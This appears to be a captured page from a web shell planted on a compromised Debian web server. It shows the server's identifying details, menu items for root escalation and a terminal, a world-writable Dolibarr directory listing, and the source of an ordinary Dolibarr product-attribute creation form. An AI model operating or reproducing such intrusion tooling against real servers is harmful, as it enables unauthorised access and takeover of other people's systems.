Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
asiafood_v12 /
variants /
Delete
Unzip
Name
Size
Permission
Date
Action
admin
[ DIR ]
drwxrwxrwx
2021-01-11 11:29
ajax
[ DIR ]
drwxrwxrwx
2021-01-11 11:29
class
[ DIR ]
drwxrwxrwx
2021-01-11 11:29
lib
[ DIR ]
drwxrwxrwx
2021-01-11 11:29
.htaccess
510
B
-rw-r--r--
2023-01-18 07:38
card.php
8.3
KB
-rwxrwxrwx
2021-01-11 11:23
combinations.php
27.25
KB
-rwxrwxrwx
2021-01-11 11:23
create.php
2.83
KB
-rwxrwxrwx
2021-01-11 11:23
create_val.php
4.03
KB
-rwxrwxrwx
2021-01-11 11:23
generator.php
11.35
KB
-rwxrwxrwx
2021-01-11 11:23
index.html
0
B
-rwxrwxrwx
2021-01-11 11:23
index.php
6.98
KB
-rw-r--r--
2023-01-18 07:38
list.php
4.75
KB
-rwxrwxrwx
2021-01-11 11:23
Save
Rename
<?php /* Copyright (C) 2016 Marcos García <marcosgdf@gmail.com> * Copyright (C) 2018 Frédéric France <frederic.france@netlogic.fr> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ require '../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/variants/class/ProductAttribute.class.php'; $ref = GETPOST('ref', 'alpha'); $label = GETPOST('label', 'alpha'); $backtopage = GETPOST('backtopage', 'alpha'); /* * Actions */ if ($_POST) { if (empty($ref) || empty($label)) { setEventMessages($langs->trans('ErrorFieldsRequired'), null, 'errors'); } else { $prodattr = new ProductAttribute($db); $prodattr->label = $label; $prodattr->ref = $ref; $resid = $prodattr->create($user); if ($resid > 0) { setEventMessages($langs->trans('RecordSaved'), null, 'mesgs'); if ($backtopage) { header('Location: '.$backtopage); } else { header('Location: '.DOL_URL_ROOT.'/variants/card.php?id='.$resid.'&backtopage='.urlencode($backtopage)); } exit; } else { setEventMessages($langs->trans('ErrorRecordAlreadyExists'), $prodattr->errors, 'errors'); } } } $langs->load('products'); /* * View */ $title = $langs->trans('NewProductAttribute'); llxHeader('', $title); print load_fiche_titre($title); dol_fiche_head(); print '<form method="POST" action="'.$_SERVER["PHP_SELF"].'">'; print '<input type="hidden" name="token" value="'.newToken().'">'; print '<input type="hidden" name="action" value="add">'; print '<input type="hidden" name="backtopage" value="'.$backtopage.'">'; ?> <table class="border centpercent"> <tr> <td class="titlefield fieldrequired"><label for="ref"><?php echo $langs->trans('Ref') ?></label></td> <td><input type="text" id="ref" name="ref" value="<?php echo $ref ?>"></td> <td><?php echo $langs->trans("VariantRefExample"); ?> </tr> <tr> <td class="fieldrequired"><label for="label"><?php echo $langs->trans('Label') ?></label></td> <td><input type="text" id="label" name="label" value="<?php echo $label ?>"></td> <td><?php echo $langs->trans("VariantLabelExample"); ?> </tr> </table> <?php dol_fiche_end(); print '<div class="center"><input type="submit" class="button" value="'.$langs->trans("Create").'"></div>'; print '</form>'; // End of page llxFooter(); $db->close();